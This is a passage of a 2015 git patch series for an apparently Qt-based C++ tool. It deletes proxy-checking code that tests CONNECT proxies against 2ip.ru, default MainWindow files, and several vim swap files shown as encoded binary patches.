SOCKET."); -#pragma endregion - } - else - { - if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); -#pragma endregion - send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); - - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion - if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") - || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") - ) - && (strlen(precvBuff) < 150) - && strstr(precvBuff, "404 File Not Found") == NULL - && - ( - strstr(precvBuff, "Invalid Request") == NULL - || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL - || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL - ) - ) - { - -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); -#pragma endregion - send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); - ZeroMemory(precvBuff, sizeof(precvBuff)); - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion - if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL - && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL - && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL - && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL - && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL - && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL - && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL - && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL - && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL - && strstr(precvBuff, "gateway timeout") == NULL - ) - { - -#pragma region QTGUI_Area - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion - proxyEnabledFlag = 1; - - CSSOCKET(pSock); - break; - } - else - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - break; - } - else - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - } - else - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion - proxyEnabledFlag = 0; - }; - }; -}; - -void CheckProxy_Th::run() -{ - CheckProxyLogic(); -}; From 0529dfaae36bbd234d1f5b6190f82e6085738063 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:48:57 +0300 Subject: [PATCH 04/66] nep nep --- ClassDiagram1.cd | 1 - mainwindow.cpp | 14 -------------- mainwindow.h | 22 ---------------------- mainwindow.ui | 24 ------------------------ 4 files changed, 61 deletions(-) delete mode 100644 ClassDiagram1.cd delete mode 100644 mainwindow.cpp delete mode 100644 mainwindow.h delete mode 100644 mainwindow.ui diff --git a/ClassDiagram1.cd b/ClassDiagram1.cd deleted file mode 100644 index 0519ecb..0000000 --- a/ClassDiagram1.cd +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/mainwindow.cpp b/mainwindow.cpp deleted file mode 100644 index 49d64fc..0000000 --- a/mainwindow.cpp +++ /dev/null @@ -1,14 +0,0 @@ -#include "mainwindow.h" -#include "ui_mainwindow.h" - -MainWindow::MainWindow(QWidget *parent) : - QMainWindow(parent), - ui(new Ui::MainWindow) -{ - ui->setupUi(this); -} - -MainWindow::~MainWindow() -{ - delete ui; -} diff --git a/mainwindow.h b/mainwindow.h deleted file mode 100644 index a3948a9..0000000 --- a/mainwindow.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef MAINWINDOW_H -#define MAINWINDOW_H - -#include - -namespace Ui { -class MainWindow; -} - -class MainWindow : public QMainWindow -{ - Q_OBJECT - -public: - explicit MainWindow(QWidget *parent = 0); - ~MainWindow(); - -private: - Ui::MainWindow *ui; -}; - -#endif // MAINWINDOW_H diff --git a/mainwindow.ui b/mainwindow.ui deleted file mode 100644 index 6050363..0000000 --- a/mainwindow.ui +++ /dev/null @@ -1,24 +0,0 @@ - - MainWindow - - - - 0 - 0 - 400 - 300 - - - - MainWindow - - - - - - - - - - - From 06533c14f3ba07855a7fd2bfc854e3bd41035abf Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:49:13 +0300 Subject: [PATCH 05/66] rgf --- .CheckKey_Th.cpp.LOCAL.2427.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2427.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp deleted file mode 100644 index 96cb604df7d58767e0d399ed0e517789fa481b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 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 From 1a07d8dc1704584821c67d808f020032f2e418c5 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:49:24 +0300 Subject: [PATCH 06/66] az --- .CheckKey_Th.cpp.LOCAL.2593.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2593.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp deleted file mode 100644 index ceb9b6cfddc8cb9c608c135618268a6b741b0fd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWllM8OIO11?mEYQd(3b)DtgS&7_H)WOqUJl5JDRyNNcp#$LADu(ifB$M!V# z88dV2B)hCC0Z%|5TD3e>q7vevTUwAnJOh;~A*fV|$MRIEt=gAfB=)JIm;ZNW#&P28 zg$0Qgol$u;+xvdX)MpqAgFsR6)sFSZ z>4}yvdRIx9Zw76VU++cv*}(0#g;Y_#xDp266)t{B5xGvj*c9&iNwHO}G;?mJlUrCW z&Mf4nj(qhHonFO&i8cxt1+JjLZS2t0gL-$SGJB@KH#`MzP-_kWUu($eun{Ke9A|4!m>O~Usl5ovr9Y`%;F zMggOMQNSo*6fg=H1&jhl0i%FXz$jo8_!ty$JjM#JTcZsCJpWJc|KGcvv3J4i;3e=3 z*aDm2Ah-`?z#l%#*gN32;3D`j_yJf4C2%8P;QiYe`zLq-Tm;_-4R8vqf-&$V@CEQb zHWA(ezXorB*T65pGvG%+0Rd`Y1l$Ea2mW;nY=Bq6&%pEGY48Ym2%G{Bf_uPU@P5Oe z!8_nJa1lHX+F%ZhfSbWh;8KRM_rP=DIC%5ZjQt9%gTLL3a=;7V=b#3@3~mRvg2!%R ztOHz71>XTjz+rG77y-}T$kHUzie0){7!tV)>Mmx1Cvr{#Mi*|^a2RI*>UT9O~*_aC2 z(_BsQajquuff8CmTG^&jokBjJWJdfnMd8n~+@=$b+7^<3WjMJ##LXCeIg2{LkRrO-(BF_chs>auMUDB;^83>HN@2)E*z z4#c9uNmF*ti4V~ck&xbA9YNt-1s`!YB zJCmr7x~aN%lh&rz;|A-o<#-+zgo6|^gP&vR5J&@T8k#$scSf{Y!Nz5lwN>#*7vr5) zvSeNJJGq>m4lEO|mYm9_!Gtgfv|4r3Is=RiWj@NOWoXjJ+Avh&dYe|Rc4e-7<@Wh??uk0u?pdejmkv$Y{Lx4IA=N#C z(y)UE`AC|xS}mSAfwa{st)g?w+iPm};qYNe=w)~)rWnscT%QZv zZ3U6oJK49!m*|bo-k}1ogx%pp$#ByXWWY9`t5jCPz+QBx`Q=M5&^)qk+jB)#IuYgt(~irV3BuIkJ66Ia1>V0waJO8fgHOp*_mBS%H`c8 z@|fV%G*okkXVkyGrpv+lf{^?{j=_cN(oX;2gBh#)qUDh-(e9|Nz8%bbZ35SEy5`a) zGd@q
Hi2qV-Ny?UNe0{qr51B-Cc@ug+!Kmo^azP@}C9YKC1>Z--jA2fy~b-jlr zbc}aYIEe-M9NHC~n<&OM@Wjt~7FObHM2vJbOW?Ayo~qbcO=wv1uxTY z>R0E7qcEN5oqCGsgifRF@BnT(qx=8g;Qst>+{@GbKW?M-@k^Ws;4D}H%ituK11CTp zjDvds<^3Wshf%;NU=%P47zK<1MggOMQNSo*6fg=H1^&+zpbe$n8&I?{r8i*){ztt~ z2)nd5#V7;Vy>~YJL8+8SsV~3pH~x*} dsT&@Hb?~409^de34^Zj{qqP5oM+|y*?!Sul0#*P3 From abe269c2ee8890db96a73823ac671e45cfaed799 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:49:36 +0300 Subject: [PATCH 07/66] wup wup wup --- .CheckKey_Th.cpp.LOCAL.2715.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2715.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp deleted file mode 100644 index 644ffad324e09c85d501d9b33f71367afc5bec75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlj&8OKj|X^WwyTnZJH5GUShH4_p$&hEC7w^;~|cN1-H#NIC3bg{-W$Mz8W zj5~AeB)eT9QJyF~fS?aZtyJ;AwuK5%p9@Gx2#`R1q)(LqwJ$A5-6vEo|L@F<pJ$4P41E_7->soCLr5AY;D*8{o~`Q4V+xJPYdJv*0dp2l)DJ zjCFwvYTzs27&r><17qN+TN!%-d=p#(+h7Zv1GC@@;2yxh?>+$g;OF24@DuP9_yM>Z z900d~D+d|-JNO&;3-}Xw5&R5%7n}tZ@ELFgeg9YRDtH2Hf<9;h8W#?@`6H9bTw?gh zghKT~$tMfPF?4X0DwUPe>2lSI0(ZkcuEQdwCQo=lx#KH8kZZy_8T6z#=P1X@uH&^3 z?$Y}q=lSHCaE0F&9*;!W7a@;S=*uSeBQ68Q`%c^U#r<&X z&S$uq=963%@PQKALR#6DQr%)cpJYb-3`OD3vfP#vj@uTJe{M9nJ;Ad{F0u%N?<5-^ zo8il678j{@D1TtH6E#upaGg;2PT6~+2c>Y9p~~`cH4R~tpIZ1!IN#G1qaAU>-4F`5 zZ`nNVTH)n*$&u6n6wVuA(BXBb?MPRIV>}DhzEsiuR4mF~r!GS4Y-RS8P>W8a%3&CU zmTe&R4_{BI}m&dYHMw%l=WkU>GKf&;uIOVu~KLx`xr{7I(6BO36$`#2!kcj3Bv8T zrbDr)aMG0BbK+feL?ooQUq?_lSHXMS4T(D1D9zqf<9G_C8t>Q2{igj5k2W`u67P!b z*UlvBy>6=R-K4dt^|--$Y&o8X1>rD-%;M)nIt0=Hn}+7@=A9GmcCdMsWo=D7+QWFK zl`L7;{BAC%rvuBxt0kwhX|Ul-D2vaYtSu~;s}r1}YnAF+d3I@nFRZSvtyEWP)zT`r zk8^ei!@zH_jA%!KWBF(Wk(y}=Mc?&p>2w6QFsmwIA2Y+UdNT5x602)Fkj-(M4_cUu zd|9Jb+v`&_S@tF!x2eR*6D^&n*7hSsDe(s(VAq#I>8R8iO~Zxd*}1v3+VaYB+1BkM zEeDozkCT#(eI$HD5_%aPi7Cai5ZC7- zciTZE_D}ZZ$z^(@vwx(>t6^_6Q8L{01R1i;=d0D#d?7bQ6_`i;ihQJe%Ib#k+#1Rn zUwx^*-DJ(po+?*$b~G@Vqk3F*gAf-L-co^#EJp=?G8|VCz6hz~c{`k=;dK1=Hu5C% zja1WR(qyRlaxiXVIrUXVdUaIO@2d6tkM3Mq22t8^8I8i~xn7u>9?G%zlAYPJq+H!i zB9949O;fdYc}9clYq}h4EDFgV*EUK$J`aE4NoCrFtn;vzt$b?A_17CTZpH1*JY zN(4h#U@JQ76$HE>Vi>H7(+$z=UY+eqK3)|Rg!hcXNVgS*IaAT4}6bf$*%P3 zNUeQQKCVlMYn7HW0Uwz>zqmr_SzKJ)ToS{+u6E?(UZ^CMyD1^bsUDOtBzIb9tOPmT zY29_F{MTz=-g@`yvqQdg+dWV4tk_Z_lqY-ArF)(z*UFAW(hbn=@Cx3K-<43$6}(Kp zrC*&Njly)Icj_sk8#>L7!vnbGjPCz`kNfj`a4%2y|G16T$B%Iyfb(D#tbo&C9-IPs zFbVDjl=oA>97X}7fKk9GU=%P47zK<1MggOMQNSo*6!;%gfHsu&Za~q-l-`6H`XBXT zG3?Ra6r&7a@7~$y6CG>~HRnXV*IWubf$i>H4?K0m&a;8!X_?Mx&HwEHv>Qb From f9989105354065b54aefe295248ac3106df56dbc Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:49:50 +0300 Subject: [PATCH 08/66] irliirliqueueque --- .CheckKey_Th.cpp.LOCAL.2915.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2915.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp deleted file mode 100644 index 2252168b52089ec143d35924174e6172140800fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TZ|i58OKi(dNH*0LZPA(;;d6eGuvHzy-A92x`D;(WLMc6Yo{S>gEgKxwuiOP zxHHGjZqf*e@8K|_MH3oKbQID%xrz?k%cAxncQK9<1WU2wfVQ|8~dJRKl=z{VGt+^zSgl3 zIepRgMgJNJ^R1vG@*DjqKNq;Yj*u$KmsZ2ztHQ-EDI(X&ms-NzI4QPj)mF~!c5{m> zrP;;Y^k)l4==2&Dm}sMbQQ#^H+`$e_7p5q|f$SLn*gdDNlGa2S1&jhl0i%FXz$jo8 zFbWt2i~|2}3aIXW_B9x_FEQ+idhqkvJsC}0#Y3K#{90!9I&fKk9G@Bt{`c#IWMZ=E&(@cci$|9|UF#(oce4qgIJ zfi18J4uS_j2K@1(jJ*zi2QGo{gYSS1PzE;x2Hv@YvA4ks;1c*YXo6E<4NQPff{%lD zu!-;+@JsLu@Cx`5cnW+EC?G%`jDdT>-QZt%XW?z|GI$RB5PSw?a0|GcVeBpN18^Mt`ZmU11smY+x1t>I0(c(O!KcBU;CAr! zTNvvC7u3L4z!7j5JOIYPGdDB#B={z{2)4i`I0I(E=fQn|f!98S`oT}ZOW;ND40syc z3-*DVz-4U6{1f~G{0Y1XUIsq_-vy^Z1$+uzM&JJ#`~f@(&VfE?0vZ<%xbY*C$y{Xk z$b>@mLdho!M=^A8lq!{#(#dkwiUN1TKB~har6!MgLAm2AKagv}J0A3;H|HqF%C6(J z5bo0ZA!qsIns9~R7aos9*cTy>ROrhl_aiO?#rsa%_r|hup%Fdn&y*S74U%)+Co~{mQvkfKA&Vp{0v3m&$8T>6OP*!l0P__+@9dsBp20)3g1mO zJ~qRbPc1G|>rnon&Q8=sxx;Nj;oD{JiXN20S%wf}Nb#8&3>zE6Mzx0W&)txyqbsG^n`#_Sp;Y6&tlVqbU-xKp11a&Y z*j{!fQSY~@x_1+6)7oQ$_1JPe4-3LU3Yo>viF6300X7ZIo#vep?RIeP3d`D>c&vx< zPAgfmuKC?uPEQAxiC0TbWz%58mrxd;JziT_E>|ZwMb|3TwesxJ1YcNPU0bQH)T*Ub zZXf0B0EU6zU>VVl1jq8x3L-Vr6pFs7Mj@wk?NHYqjN-<+82q zA}t3saA^nn_NM%<`rm0C~cDp$A9Z*WgEV7q6XURXXfZS%(;AB5EQ z2ui~a9^_+b&RVT><^ZuT-k#7g9EFWH%0OUjkq zB=VTx)HGFVhi5dnzNX8;#-fn?VUEFt>(WmD;N4Z$@I~9BxG7$v}O{W7o!mmFVOwhk0<3>O+JC(#k)N20A-9Q{FKSW?$} zSVAXwSA_*E$md~KbbgM!h|kekF*&2r11}8~A#jFLlP5@-DB=P@qjl(zXBInBIyCjr zd`g6hu)tQ79+Su$XDtlevD5{lq^JxH#h-6Qp^FwOCsaw+A)g^OB5t|Xq#yVm$C6#? z)sb5JqI_JJ5VtBVX97Mld46$&(zCd@*jy6BzNU8MazpBblW{o@T}NWB9zB_(xrQzDA&r4MA8k=&hQG}kKd6{&lS8( zzo}oHAC1CvqIc>kq8mERj>7}E<&5tCe~bI``*1H$_y4$!*2j-=9)Po86|8`hU>=+R zc`ym?2bA{{z#K*aqkvJsC}0#Y3K#{90!9I&fKk9GU=;WtQ-C& Date: Wed, 25 Feb 2015 10:50:06 +0300 Subject: [PATCH 09/66] ptchthck ptchthck --- .CheckKey_Th.cpp.REMOTE.2427.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.REMOTE.2427.cpp.swp diff --git a/.CheckKey_Th.cpp.REMOTE.2427.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2427.cpp.swp deleted file mode 100644 index 19fe6d72372740005790e57fa8f7881d220b941d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3Uu+{s9ml6v+G1!af68A8G4WNW-H&6M_P(>5`u?HeL(_&LO$Ea-E5}hHy7eitS3dk#pPa z+*)yIrCiMAr}KBw`4udfXrq8pV1ET}VTbcmlN5h2JHp@d?)CkXni!*iQNSo*6fg=H z1&jhl0i%FX;D1g5)xMs67G51lJbNfPUN><3SMup3;h!IfzdkvCUvm8WKzwp)4n_f^ zfKk9GU=%P47zK<1MggOMQNSo*6fg?B2?{tKV+Gi)(gpyY|EKr=uiVPmufUJN)8G-X z4Yt4`a68C=-@Sve7r_hQBKSJ^3fKfia06iA)ms?*2Y3ox1YZJmunyM182BJ~FL?E4 z#(oAaf#<<<;Je@v@HL=-097yoZUgTE|9m@afM>vWz!TtM@Bp|Mtb@D3hrplS#@HXh zi{LqM5j+H1-~<=}H-Q_$WxNaV3V0kG13!H$V?P0#;N_c84tNSY398^D;8t)m_}q<* zwSfyN;M3p^Fb!@8BjC{+7`p(z2+o6Tumw(oS@3c2e!#%b-vayKhu~@Oeefvw2Dl9z z0M~)b*pT@v_zUeFT~G(qFC1{~pG+omp5ZGK z3e^cEAD=pcu7l59skAb8vRJmFz}>Wu=&(qs@uOZ)Z28I$Upi;Gk{l;5-2is~r0zfLH8r|f~~UMZYqsIq)iDib;=BfP z9XiBE(wvpb-09;;TdB}2dSaziE-sh(C^Z&|NS$=xTx@k3S?wCD)5u;xQg&aNF9&c{v0)@4nR16lTwjsmXj_j=@WIW?)L$f0;xp zCM;^|s)4}GVko<0r&V}pJ?)AZIGgk9O(<57=)mGa*I~e)e1g_(B&816b ze4Z|&&}OS5j8I>+>N!RU@LRtOEW#znmzJ#q1r~-2wUv`-2wF#?u38-ZMSWOO(|edg z$9P+XQ<#v?!msG;Jgp)=MrVcOjCv1NX)uJq8A?qnLCQoC=Kw0LL;F@{@j^<6rYkg` z62TBA*pkwH5_#jSQ@!O_x&))7Foufa&$pt`MGch`sw8XQnjv-~uDRBv8~7f_lwImn zky@`s`KT@-u2ovj7}m(N@{22!p2fw*?vfbx6}6)^?%7gOxoZ-V7S+8H`s7Xvjg_E9 zcUpJdDF5}^7q?!&`s|=D-DbxVJS(=82<5Skbm^Wa$~Ce>k#qyJJG_MV<98+0V+AkM zZ|PU(hodl@=$(3sXopU{bQp<+`$@tu7VAk`n;%i z>Pvwqu<5+(v7?UI*`ZIKS?NbddV^wj>iu`$#y^of`@+MhHvT`}<7a%@iIe*AB<%uW vqhIflr5?o9=l7J4uP;<)L*eKLTk#Gz_PU1r=-V$Ee8`2G4nJcWe){rnja@Tr From f4b48c3a9c30e9cefed118bd61e58b5944601f02 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:50:22 +0300 Subject: [PATCH 10/66] OPPAII!!! --- .CheckKey_Th.cpp.REMOTE.2915.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.REMOTE.2915.cpp.swp diff --git a/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp deleted file mode 100644 index f5341546763af36b7ce58c3fab653c34c96e0ab2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlOx8OKjk+Op76F6AmAjyF{_W9+rpNs8Fi0b_3xE56mcZU}B!&CZ?fOlDZjAq8|>0s84H6zQSg;M z8SoT12yl&w5ujJE7!aqL{e|>WPp5*wCf%xRq9E<`+ z0i%FXz$jo8FbWt2i~>dhqkvJsC}0$L0~ByP#tNvnN*e%p{-56ezjP~OzXCr3Pl1QQ z7T5#_!0jLde*ZSco(I1G7s1!Sm%#=of*Sw>uiV1e%iu|H5qt^M!5UZvW8nSZ-Qbm* z8T%P{4m=B<0p9@+gRcSw1gL@$a2t3B_$S_3co{qmz6~A+4}$x^-Czye2|fV+{1(Rk z1fB=afQ#S(&;lpG2)GH{2rg$BdkH)Sj)9-PnXw;(4e;VkC;u<<%h-_l8~7{u1NbF)8hjso1)KsU@Ii1Heg8-BTW|rK0bNiBG%g%)?Vn60bDrTV z6AIM{B_Gcp!O+2Hwp3c4Jy|SUQQ&UaM|4=E)c8>^D7Jj%2Xa+-$AXUZ<{af%*>$`Y z!d-elRSrjS;)p;WstF_C0O{4_=3&$8Tx6OP&zl7DzOxjn|SNiM1p6~3Bm zd}Nw0tt~82>rj5L&Q?@Mx&3WI;oD^oME6SJEJKauqiPDmCO@_C=W#yJ6~i5I)!h&Z zw`gPScUD2uFAps@+x6{ZuH(POBr`pxxKImDq>5n} zgqCe1Q8uT=j}28KQha(E!^Xz2(XEHBuA?k%d$m)mQ8y#;nTFpKmKA5vEzl!tjO&Dv ze^vxF%7l)ZL_H9E5^8I0sFd}?`Kfy${JBZ0!LfWaf=Er*g`#71OFAvVEzGJ?*u~7Std5NQy2R?*3}k)O<~<8@ zkuNJ`wY@$`lVvdJs7)n~A8qJFm8KslN{K%RfqH!@l#WVkqiHz5G&481T3K3ND%#pE z(y~`mF47rL*-+*qoGgP$Z>V8t#I>4Ms&r(o^q=kXYupnx*zQ@U=9dmm+5G{k6}7E>+CQvnWK7KwSy2B72Z&Rj4Ve5eli?a5WWDZ<9XYkqvo{y<`(iK z^Nm!~WzuA*__8-{V>$IzMS4{<({HQwI}UAMS$a|0aT$)n>bahuoa)Olc*)KTEGc`t zN#rrXsi~{R4$r7}eNC5xjRhh3og9M;*QK5Q!KMA#PP#&KP`T^8DfkrDt(*vAHCMeMRla$30t08h1@Xl2hF)p-=9#&{zp_ zy3@AnPWi9bzPS0?)o1&C={7r_;90S$L@1ASq)YcaQLd34iliH$o#7?CAHO4^o-25n zepA0XKOBYWMDNs7L_2iqEr$ni%NgDOzYq8457K=)?*G&0_b=k!{&(Ov;Md?1_%3(? zJPsZOUjS3!@5oF0055>&z_Z{I_#yZf_$GJ=P#qV5`4|O^0!9I&fKk9GU=%P47zK<1 zMggP1|F;6Pi!-?EL%TtG=cDf*!wZG5LmNVjGJy1k7CRoHsN)`ba0hGnxe7LD>T{yn zsV@eez^3z#$BsH;dxt)GW~Cn;=?#jVsrTM}8~;S|> Date: Thu, 26 Feb 2015 10:08:31 +0300 Subject: [PATCH 11/66] gg --- .CheckKey_Th.cpp.swo | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.swo diff --git a/.CheckKey_Th.cpp.swo b/.CheckKey_Th.cpp.swo deleted file mode 100644 index ddfeeb127b8007898afb74ca4e69acbfd6c350ef..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3Yit}>6~`y(BP@M{J`gGr;(Aj>yJl_g+D_8gal+QGtm4>?cikkoVKtt)>m9s1 zvz@u?*hwR3(@zwnwt{}3Y9$l|p@>RFse}+Qtpuvz15$-}6a+%zkp>Bh)QE~a3jcFw zW}kMvsS_U3jPlEP@7(9P=bn4co!!~^L#h32M`y2s>qCn2qs6~wezx%ik_zQx~Dr4r~F&OZS0=Ar&})?J5(p#^NFb0vAb~&vfdp2N 